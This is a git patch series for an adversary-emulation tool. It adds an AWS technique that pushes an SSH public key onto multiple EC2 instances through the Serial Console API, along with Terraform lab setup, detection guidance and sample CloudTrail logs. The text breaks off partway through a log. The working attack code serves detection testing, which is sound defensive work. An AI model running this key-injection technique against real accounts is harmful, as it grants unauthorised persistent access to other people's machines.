From 59795ee36c043714f3c1bd024f605fb5f83c5f75 Mon Sep 17 00:00:00 2001 From: Adan Date: Sat, 23 Nov 2024 22:29:16 +0100 Subject: [PATCH 01/10] add ec2-send-serial-console-ssh-public-key technique --- .../main.go | 119 ++++++++++++++++ .../main.tf | 129 ++++++++++++++++++ .../my_key.pub | 1 + v2/internal/attacktechniques/main.go | 1 + 4 files changed, 250 insertions(+) create mode 100644 v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go create mode 100644 v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf create mode 100644 v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/my_key.pub diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go new file mode 100644 index 000000000..ea8d6b59b --- /dev/null +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -0,0 +1,119 @@ +package aws + +import ( + "context" + _ "embed" + "fmt" + "github.com/aws/aws-sdk-go-v2/service/ec2" + "github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "log" + "time" + "strings" +) + +//go:embed my_key.pub +var publicSSHKey string + +//go:embed main.tf +var tf []byte + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "aws.lateral-movement.ec2-serial-console-connect", + FriendlyName: "Usage of EC2 Serial Console to push SSH public key", + IsSlow: true, + Description: ` +Simulates an attacker pushing an SSH public key to multiple EC2 instances through the EC2 Serial Console API. This allows anyone +with the corresponding private key to connect directly to the systems via SSH. + +Warm-up: + +- Create multiple EC2 instances and a VPC (takes a few minutes). + +Detonation: + +- Adds a public SSH key to the EC2 instances using the Serial Console API for 60 seconds. + +References: + +- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf +- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/ +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ +`, + Detection: ` +Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. Sample event: + +` + codeBlock + ` +{ + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventName": "SendSerialConsoleSSHPublicKey", + "requestParameters": { + "instanceId": "i-123456", + "serialConsoleOSUser": "ec2-user", + "sSHPublicKey": "ssh-ed25519 ..." + } +} +` + codeBlock + ` +`, + Platform: stratus.AWS, + PrerequisitesTerraformCode: tf, + IsIdempotent: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.LateralMovement}, + Detonate: detonate, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) + ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection()) + instanceIDs := strings.Split(params["instance_ids"], ",") + + // Enable EC2 Serial Console access for the account + _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) + if err != nil { + return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err) + } + log.Println("EC2 Serial Console access enabled for the account") + + // Ensure that Serial Console access is disabled at the end + defer func() { + _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) + if err != nil { + log.Printf("Failed to disable EC2 Serial Console access: %v", err) + } else { + log.Println("EC2 Serial Console access disabled for the account") + } + }() + + for _, instanceID := range instanceIDs { + cleanInstanceID := strings.Trim(instanceID, " \"\n\r") + err := sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey) + if err != nil { + if strings.Contains(err.Error(), "SerialConsoleSessionLimitExceededException") { + log.Printf("Serial console session limit exceeded for instance %s. Retrying after waiting 60s...", cleanInstanceID) + time.Sleep(60 * time.Second) + err = sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey) + } + if err != nil { + return fmt.Errorf("failed to send SSH public key via serial console to instance %s: %v", cleanInstanceID, err) + } + } + + log.Printf("SSH public key successfully added to instance %s via serial console", cleanInstanceID) + } + + return nil +} + +func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId, sshPublicKey string) error { + _, err := ec2instanceconnectClient.SendSerialConsoleSSHPublicKey(context.Background(), &ec2instanceconnect.SendSerialConsoleSSHPublicKeyInput{ + InstanceId: &instanceId, + SSHPublicKey: &sshPublicKey, + }) + + return err +} diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf new file mode 100644 index 000000000..fb9d59d6b --- /dev/null +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf @@ -0,0 +1,129 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 4.0" + } + } +} + +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + default_tags { + tags = { + StratusRedTeam = true + } + } +} + +locals { + resource_prefix = "stratus-red-team-ec2-serialconsole-ssh-lateral-movement" +} + +variable "instance_count" { + description = "Number of instances to create" + default = 3 +} + +data "aws_availability_zones" "available" { + state = "available" +} + +module "vpc" { + source = "terraform-aws-modules/vpc/aws" + version = "~> 3.0" + + name = "${local.resource_prefix}-vpc" + cidr = "10.0.0.0/16" + + azs = [data.aws_availability_zones.available.names[0]] + private_subnets = ["10.0.1.0/24"] + public_subnets = ["10.0.128.0/24"] + + map_public_ip_on_launch = false + enable_nat_gateway = true + + tags = { + StratusRedTeam = true + } +} + +data "aws_ami" "amazon-2" { + most_recent = true + + filter { + name = "name" + values = ["amzn2-ami-hvm-*-x86_64-ebs"] + } + owners = ["amazon"] +} + +resource "aws_network_interface" "iface" { + count = var.instance_count + subnet_id = module.vpc.private_subnets[0] + + private_ips = [format("10.0.1.%d", count.index + 10)] +} + +resource "aws_iam_role" "instance-role" { + name = "${local.resource_prefix}-role" + path = "/" + + assume_role_policy = < Date: Sat, 23 Nov 2024 22:29:34 +0100 Subject: [PATCH 02/10] add ec2-send-serial-console-ssh-public-key docs --- ...ral-movement.ec2-serial-console-connect.md | 61 +++++++++++++++++++ docs/attack-techniques/AWS/index.md | 2 + docs/attack-techniques/list.md | 1 + docs/index.yaml | 7 +++ 4 files changed, 71 insertions(+) create mode 100755 docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md new file mode 100755 index 000000000..3c5951f24 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md @@ -0,0 +1,61 @@ +--- +title: Usage of EC2 Serial Console to push SSH public key +--- + +# Usage of EC2 Serial Console to push SSH public key + + slow + idempotent + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Lateral Movement + +## Description + + +Simulates an attacker pushing an SSH public key to multiple EC2 instances through the EC2 Serial Console API. This allows anyone +with the corresponding private key to connect directly to the systems via SSH. + +Warm-up: + +- Create multiple EC2 instances and a VPC (takes a few minutes). + +Detonation: + +- Adds a public SSH key to the EC2 instances using the Serial Console API for 60 seconds. + +References: + +- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf +- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/ +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.lateral-movement.ec2-serial-console-connect +``` +## Detection + + +Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. Sample event: + +``` +{ + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventName": "SendSerialConsoleSSHPublicKey", + "requestParameters": { + "instanceId": "i-123456", + "serialConsoleOSUser": "ec2-user", + "sSHPublicKey": "ssh-ed25519 ..." + } +} +``` + + diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md index a66dc9d56..2ffe3668e 100755 --- a/docs/attack-techniques/AWS/index.md +++ b/docs/attack-techniques/AWS/index.md @@ -85,6 +85,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT ## Lateral Movement +- [Usage of EC2 Serial Console to push SSH public key](./aws.lateral-movement.ec2-serial-console-connect.md) + - [Usage of EC2 Instance Connect on multiple instances](./aws.lateral-movement.ec2-instance-connect.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index be75c57b8..cd6d27f22 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -38,6 +38,7 @@ This page contains the list of all Stratus Attack Techniques. | [S3 Ransomware through client-side encryption](./AWS/aws.impact.s3-ransomware-client-side-encryption.md) | [AWS](./AWS/index.md) | Impact | | [S3 Ransomware through individual file deletion](./AWS/aws.impact.s3-ransomware-individual-deletion.md) | [AWS](./AWS/index.md) | Impact | | [Console Login without MFA](./AWS/aws.initial-access.console-login-without-mfa.md) | [AWS](./AWS/index.md) | Initial Access | +| [Usage of EC2 Serial Console to push SSH public key](./AWS/aws.lateral-movement.ec2-serial-console-connect.md) | [AWS](./AWS/index.md) | Lateral Movement | | [Usage of EC2 Instance Connect on multiple instances](./AWS/aws.lateral-movement.ec2-instance-connect.md) | [AWS](./AWS/index.md) | Lateral Movement | | [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence | | [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | diff --git a/docs/index.yaml b/docs/index.yaml index e87c594ab..cc7b63592 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -211,6 +211,13 @@ AWS: platform: AWS isIdempotent: true Lateral Movement: + - id: aws.lateral-movement.ec2-serial-console-connect + name: Usage of EC2 Serial Console to push SSH public key + isSlow: true + mitreAttackTactics: + - Lateral Movement + platform: AWS + isIdempotent: true - id: aws.lateral-movement.ec2-instance-connect name: Usage of EC2 Instance Connect on multiple instances isSlow: true From da74dd100eb36d816586823eb8951b914756896e Mon Sep 17 00:00:00 2001 From: Adan Date: Sat, 23 Nov 2024 22:40:16 +0100 Subject: [PATCH 03/10] fix cloudtrail example --- .../AWS/aws.lateral-movement.ec2-serial-console-connect.md | 3 ++- .../ec2-send-serial-console-ssh-public-key/main.go | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md index 3c5951f24..eba0dbddf 100755 --- a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md +++ b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md @@ -52,8 +52,9 @@ Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, "eventName": "SendSerialConsoleSSHPublicKey", "requestParameters": { "instanceId": "i-123456", - "serialConsoleOSUser": "ec2-user", + "serialPort": 0, "sSHPublicKey": "ssh-ed25519 ..." + "monitorMode": false } } ``` diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go index ea8d6b59b..666ad87b5 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -53,8 +53,9 @@ Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, "eventName": "SendSerialConsoleSSHPublicKey", "requestParameters": { "instanceId": "i-123456", - "serialConsoleOSUser": "ec2-user", + "serialPort": 0, "sSHPublicKey": "ssh-ed25519 ..." + "monitorMode": false } } ` + codeBlock + ` From 2b65fe865ab51a16cfb6bc6b8db0373e2ba9055b Mon Sep 17 00:00:00 2001 From: Adan Date: Sat, 23 Nov 2024 23:01:47 +0100 Subject: [PATCH 04/10] keep ec2 serial console access as it was --- .../main.go | 32 +++++++++++++------ 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go index 666ad87b5..9e81f92ba 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -73,20 +73,32 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection()) instanceIDs := strings.Split(params["instance_ids"], ",") - // Enable EC2 Serial Console access for the account - _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) + // Check the current state of EC2 Serial Console access + output, err := ec2Client.GetSerialConsoleAccessStatus(context.Background(), &ec2.GetSerialConsoleAccessStatusInput{}) if err != nil { - return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err) + return fmt.Errorf("failed to get EC2 Serial Console access status: %v", err) } - log.Println("EC2 Serial Console access enabled for the account") + serialConsolePreviouslyEnabled := output.SerialConsoleAccessEnabled + log.Printf("EC2 Serial Console access is currently %v", *serialConsolePreviouslyEnabled) - // Ensure that Serial Console access is disabled at the end - defer func() { - _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) + // Enable EC2 Serial Console access if it was not already enabled + if serialConsolePreviouslyEnabled != nil && !*serialConsolePreviouslyEnabled { + _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) if err != nil { - log.Printf("Failed to disable EC2 Serial Console access: %v", err) - } else { - log.Println("EC2 Serial Console access disabled for the account") + return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err) + } + log.Println("EC2 Serial Console access enabled for the account") + } + + // Ensure that Serial Console access is restored to its original state at the end + defer func() { + if serialConsolePreviouslyEnabled != nil && !*serialConsolePreviouslyEnabled { + _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) + if err != nil { + log.Printf("Failed to disable EC2 Serial Console access: %v", err) + } else { + log.Println("EC2 Serial Console access disabled for the account") + } } }() From 60260e1e07f78c287732562e0ae46e55b4899b07 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Mon, 25 Nov 2024 14:07:44 +0100 Subject: [PATCH 05/10] Sort imports --- .../ec2-send-serial-console-ssh-public-key/main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go index 9e81f92ba..554c1325b 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -9,8 +9,8 @@ import ( "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" "log" - "time" "strings" + "time" ) //go:embed my_key.pub From 1e1f6d87f50edc64445bb8c194cc8baf247f7a75 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Mon, 25 Nov 2024 14:11:37 +0100 Subject: [PATCH 06/10] Fix potential nil pointer dereference and improve logging --- .../main.go | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go index 554c1325b..6470503cd 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -78,11 +78,14 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error if err != nil { return fmt.Errorf("failed to get EC2 Serial Console access status: %v", err) } - serialConsolePreviouslyEnabled := output.SerialConsoleAccessEnabled - log.Printf("EC2 Serial Console access is currently %v", *serialConsolePreviouslyEnabled) - - // Enable EC2 Serial Console access if it was not already enabled - if serialConsolePreviouslyEnabled != nil && !*serialConsolePreviouslyEnabled { + var serialConsolePreviouslyEnabled = false + if output.SerialConsoleAccessEnabled != nil && *output.SerialConsoleAccessEnabled { + serialConsolePreviouslyEnabled = true + } + if serialConsolePreviouslyEnabled { + log.Println("EC2 Serial Console access is currently enabled") + } else { + log.Println("EC2 Serial Console access is currently disabled, enabling it") _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) if err != nil { return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err) @@ -92,7 +95,7 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error // Ensure that Serial Console access is restored to its original state at the end defer func() { - if serialConsolePreviouslyEnabled != nil && !*serialConsolePreviouslyEnabled { + if !serialConsolePreviouslyEnabled { _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) if err != nil { log.Printf("Failed to disable EC2 Serial Console access: %v", err) From 287dccef89b4f6fcda32f26f4a4e16190aefb23e Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Mon, 25 Nov 2024 14:21:54 +0100 Subject: [PATCH 07/10] Move enabling/disabling SendSerielConsoleSSHKey to Terraform --- .../main.go | 34 ------------------- .../main.tf | 5 +++ 2 files changed, 5 insertions(+), 34 deletions(-) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go index 6470503cd..fb1368ae3 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go @@ -4,7 +4,6 @@ import ( "context" _ "embed" "fmt" - "github.com/aws/aws-sdk-go-v2/service/ec2" "github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" @@ -69,42 +68,9 @@ Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, } func detonate(params map[string]string, providers stratus.CloudProviders) error { - ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection()) instanceIDs := strings.Split(params["instance_ids"], ",") - // Check the current state of EC2 Serial Console access - output, err := ec2Client.GetSerialConsoleAccessStatus(context.Background(), &ec2.GetSerialConsoleAccessStatusInput{}) - if err != nil { - return fmt.Errorf("failed to get EC2 Serial Console access status: %v", err) - } - var serialConsolePreviouslyEnabled = false - if output.SerialConsoleAccessEnabled != nil && *output.SerialConsoleAccessEnabled { - serialConsolePreviouslyEnabled = true - } - if serialConsolePreviouslyEnabled { - log.Println("EC2 Serial Console access is currently enabled") - } else { - log.Println("EC2 Serial Console access is currently disabled, enabling it") - _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) - if err != nil { - return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err) - } - log.Println("EC2 Serial Console access enabled for the account") - } - - // Ensure that Serial Console access is restored to its original state at the end - defer func() { - if !serialConsolePreviouslyEnabled { - _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) - if err != nil { - log.Printf("Failed to disable EC2 Serial Console access: %v", err) - } else { - log.Println("EC2 Serial Console access disabled for the account") - } - } - }() - for _, instanceID := range instanceIDs { cleanInstanceID := strings.Trim(instanceID, " \"\n\r") err := sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf index fb9d59d6b..174a35380 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf @@ -30,6 +30,11 @@ data "aws_availability_zones" "available" { state = "available" } +# Ensures that serial console access is enabled in the current region +resource "aws_ec2_serial_console_access" "serial_console_access" { + enabled = true +} + module "vpc" { source = "terraform-aws-modules/vpc/aws" version = "~> 3.0" From 6c597bcd156a58f40dc71645c35f037ab907beee Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Tue, 26 Nov 2024 12:03:25 +0100 Subject: [PATCH 08/10] Cosmetic improvements and update docs --- ...ral-movement.ec2-serial-console-connect.md | 62 ----- ....ec2-serial-console-send-ssh-public-key.md | 224 ++++++++++++++++++ docs/attack-techniques/AWS/index.md | 2 +- docs/attack-techniques/list.md | 2 +- ...c2-serial-console-send-ssh-public-key.json | 158 ++++++++++++ docs/index.yaml | 2 +- .../main.go | 26 +- .../main.tf | 0 .../my_key.pub | 0 v2/internal/attacktechniques/main.go | 4 +- 10 files changed, 394 insertions(+), 86 deletions(-) delete mode 100755 docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md create mode 100755 docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md create mode 100644 docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json rename v2/internal/attacktechniques/aws/lateral-movement/{ec2-send-serial-console-ssh-public-key => ec2-send-serial-console-send-ssh-public-key}/main.go (80%) rename v2/internal/attacktechniques/aws/lateral-movement/{ec2-send-serial-console-ssh-public-key => ec2-send-serial-console-send-ssh-public-key}/main.tf (100%) rename v2/internal/attacktechniques/aws/lateral-movement/{ec2-send-serial-console-ssh-public-key => ec2-send-serial-console-send-ssh-public-key}/my_key.pub (100%) diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md deleted file mode 100755 index eba0dbddf..000000000 --- a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-connect.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Usage of EC2 Serial Console to push SSH public key ---- - -# Usage of EC2 Serial Console to push SSH public key - - slow - idempotent - -Platform: AWS - -## MITRE ATT&CK Tactics - - -- Lateral Movement - -## Description - - -Simulates an attacker pushing an SSH public key to multiple EC2 instances through the EC2 Serial Console API. This allows anyone -with the corresponding private key to connect directly to the systems via SSH. - -Warm-up: - -- Create multiple EC2 instances and a VPC (takes a few minutes). - -Detonation: - -- Adds a public SSH key to the EC2 instances using the Serial Console API for 60 seconds. - -References: - -- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud -- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf -- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/ -- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ - - -## Instructions - -```bash title="Detonate with Stratus Red Team" -stratus detonate aws.lateral-movement.ec2-serial-console-connect -``` -## Detection - - -Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. Sample event: - -``` -{ - "eventSource": "ec2-instance-connect.amazonaws.com", - "eventName": "SendSerialConsoleSSHPublicKey", - "requestParameters": { - "instanceId": "i-123456", - "serialPort": 0, - "sSHPublicKey": "ssh-ed25519 ..." - "monitorMode": false - } -} -``` - - diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md new file mode 100755 index 000000000..7d1f3efb5 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md @@ -0,0 +1,224 @@ +--- +title: Usage of EC2 Serial Console to push SSH public key +--- + +# Usage of EC2 Serial Console to push SSH public key + + slow + idempotent + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Lateral Movement + +## Description + + +Simulates an attacker using EC2 Instance Connect to push an SSH public key to multiple EC2 instances, using SendSerialConsoleSSHPublicKey. This allows anyone +with the corresponding private key to connect directly to the systems via SSH, assuming they have appropriate network connectivity. + +Warm-up: + +- Create multiple EC2 instances and a VPC (takes a few minutes). + +Detonation: + +- Adds a public SSH key to the EC2 instances using SendSerialConsoleSSHPublicKey. + +References: + +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html +- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf +- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/ +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.lateral-movement.ec2-serial-console-send-ssh-public-key +``` +## Detection + + +Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. + + + +## Detonation logs new! + +The following CloudTrail events are generated when this technique is detonated[^1]: + + +- `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + + +??? "View raw detonation logs" + + ```json hl_lines="6 58 110" + + [ + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "361b1533-7e1f-4e45-a34f-3e7958253c08", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "requestParameters": { + "instanceId": "i-7C5CBC1114349DB57", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "3c56f906-ae4c-428b-8840-87f96ad2fb53", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "requestParameters": { + "instanceId": "i-1150EdC0D493fbb5c", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": 